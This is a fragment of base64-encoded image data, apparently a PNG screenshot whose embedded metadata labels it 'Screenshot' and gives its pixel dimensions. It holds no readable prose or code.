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gRPfAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAAAEEEEAAgbgECJzi4mNnBBBAAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABAie+AwgggAACCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAnEJEDjFxcfOCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAggggAACBE58BxBAAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBOISIHCKi4+dEUAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAAAEECJz4DiCAAAIIIIAAAggggAACCCCAAAIIIIAAAggggAACCMQlQOAUFx87I4AAAggggAACCCCAAAIIIIAAAggggAACCCCAAAIIEDjxHUAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAAAEEEIhLgMApLj52RgABBBBAAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQIHDiO4AAAggggAACCCCAAAIIIIAAAggggAACCCCAAAIIIBCXAIFTXHzsjAACCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAgggQODEdwABBBBAAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQCAuAQKnuPjYGQEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAgMCJ7wACCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAggggEBcAgROcfGxMwIIIIAAAggggAACCCCAAAIIIIAAAggggAACCCCAAIET3wEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAAIG4BAic4uJjZwQQQAABBBBAAAEEEEAAAQQQQAABBBBAAAEEEEAAAQInvgMIIIAAAggggAACCCCAAAIIIIAAAggggAACCCCAAAJxCRA4xcXHzggggAACCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAgROfAcQQAABBBBAAAEEEEAAAQQQQAABBBBAAAEEEEAAAQTiEiBwiouPnRFAAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBAic+A4ggAACCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAgjEJUDgFBcfOyOAAAIIIIAAAggggAACCCCAAAIIIIAAAggggAACCBA48R1AAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBCIS4DAKS4+dkYAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAAAEEECBw4juAAAIIIIAAAggggAACCCCAAAIIIIAAAggggAACCCAQlwCBU1x87IwAAggggAACCCCAAAIIIIAAAggggAACCCCAAAIIIEDgxHcAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAAAEEEEAgLgECp7j42BkBBBBAAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQIDAie8AAggggAACCCCAAAIIIIAAAggggAACCCCAAAIIIIBAXAIETnHxsTMCCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAggggACBE98BBBBAAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQACBuAQInOLiY2cEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAAAECJ74DCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAggggAACcQkQOMXFx84IIIAAAggggAACCCCAAAIIIIAAAggggAACCCCAAAIETnwHEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAAAEE4hIgcIqLj50RQAABBBBAAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQInPgOIIAAAggggAACCCCAAAIIIIAAAggggAACCCCAAAIIxCVA4BQXHzsjgAACCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAggQOPEdQAABBBBAAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQiEuAwCkuPnZGAAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBAgcOI7gAACCCCAAAIIIIAAAggggAACCCCAAAIIIIAAAgggEJcAgVNcfOyMAAIIIIAAAggggAACCCCAAAIIIIAAAggggAACCCBA4MR3AAEEEEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAIC6BwnHtzc4IIIAAAggggAACCCCAAAIIIIAAAggggAACCCCQ1AK7du2ysWPH2qpVq+ykk06ycuXKJfX1cnFZEyiw22tZ25W9EEAAAQQQQAABBBBAAAEEEEAAAQQQQAABBBBAINkF7rzzThsyZIi7zAoVKtjUqVOtcGHqWZL9vmf2+gicMivG9ggggAACCCCAAAIIIIAAAggggAACCCCAAAII5BOBnTt3Wr169SKudtq0aVap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gAACCCCAAAIIIIAAAggggAACCCCAQMIKKGgaOnSoey1fvtydZ+XKlc2f1oIKFSok7PlzYggggEA8AgRO8eixLwIIIIAAAggggAACCCCAAAIIIIAAAgjke4HooKlAgQLWq1cvmzBhgv3www+BT48ePez6668P5plAAAEEkkmALvWS6W5yLQgggAACCCCAAAIIIIAAAggggAACCCCwTwWefPLJoKKpZMmSLmg699xz7aqrrrLJkycH59KwYUMbPXp0MM8EAgggkGwCBE7Jdke5HgQQQAABBBBAAAEEEEAAAQQQQAABBBDIUYGtW7fa4MGD7dVXX7Vly5ZZpUqVXNCk8ZnUunXrFhE2aZnGczryyCM1SUMAAQSSUoAu9ZLytnJRCCCAAAIIIIAAAggggAACCCCAAAIIIJATAm+//bYLm3799VcrX768PfbYY3bOOecEH3XdddelCptOPvlkwqZAiAkEEEhWAQKnZL2zXBcCCCCAAAIIIIAAAggggAACCCCAAAIIZJvAqFGjXNA0adIkK1y4sKto6t27d8TxH3roIfvwww8jlmnmrLPOSrWMBQgggECyCRA4Jdsd5XoQQAABBBBAAAEEEEAAAQQQQAABBBBAINsENA6Tus5T4KSm7vJuuukmq1y5csRnaJsXXnghWKZu9lasWGEtWrSwDh06BMuZQAABBJJVgMApWe8s14UAAggggAACCCCAAAIIIIAAAggggAACWRb46aefbMiQIaYu9NROOeUUu/jii12AFH3Q0aNH27333hssrlu3rv35559unuqmgIUJBBBIcgECpyS/wVweAggggAACCCCAAAIIIIAAAggggAACCGRcYOnSpfbSSy+5l/Y64YQT7Pzzz7f27dvHPMi0adOsR48ewbo6derYoYce6gKn+vXr29lnnx2sYwIBBBBIZgECp2S+u1wbAggggAACCCCAAAIIIIAAAggggAACCGRK4KKLLrLZs2dbq1atXEXTSSedlOb+M2fOjAiU1I1ev3797LLLLnP7KGwqVKhQmvuzAgEEEEgmAQKnZLqbXAsCCCCAAAIIIIAAAggggAACCCCAAAIIxCVw5ZVX2q5du+zcc89N9zhz5861k08+OdimVKlSNmjQIPvuu+9s06ZNbownqpsCHiYQQCAfCBA45YObzCUigAACCCCAAAIIIIAAAggggAACCCCAQMYEunbtutcNly9fbm3btg22K1iwoAubDj/8cHvwwQfdcoVNFSpUCLZhAgEEEEh2gYLJfoFcHwIIIIAAAggggAACCCCAAAIIIIAAAgggkF0CGzdutObNm0cc7sUXX7Sjjz7apk6d6l7FixeP6GovYmNmEEAAgSQVIHBK0hvLZSGAAAIIIIAAAggggAACCCCAAAIIIIBA9gqoq70mTZpEHPTpp5+2Dh06uGUjR45076puqlu3bsR2zCCAAALJLkDglOx3mOtDAAEEEEAAAQQQQAABBBBAAAEEEEAAgWwRqF+/fsRx+vXrZ6effrpbtnPnThs1apSb9pdFbMwMAgggkOQCBE5JfoO5PAQQQAABBBBAAAEEEEAAAQQQQAABBBCIX+Coo44yhUp+u/POO+3888/3Z+1///ufLVu2zI3tFN3lXrAREwgggEASCxA4JfHN5dIQQAABBBBAAAEEEEAAAQQQQAABBBBAIH6BE0880VasWBEc6IYbbrAePXoE85r46KOP3Pxpp50WsZwZBBBAIL8IEDjllzvNdSKAAAIIIIAAAggggAACCCCAAAIIIIBApgW6detms2bNCvZT0HT99dcH85qYP3++ffHFF27cJgKnCBpmEEAgHwkQOOWj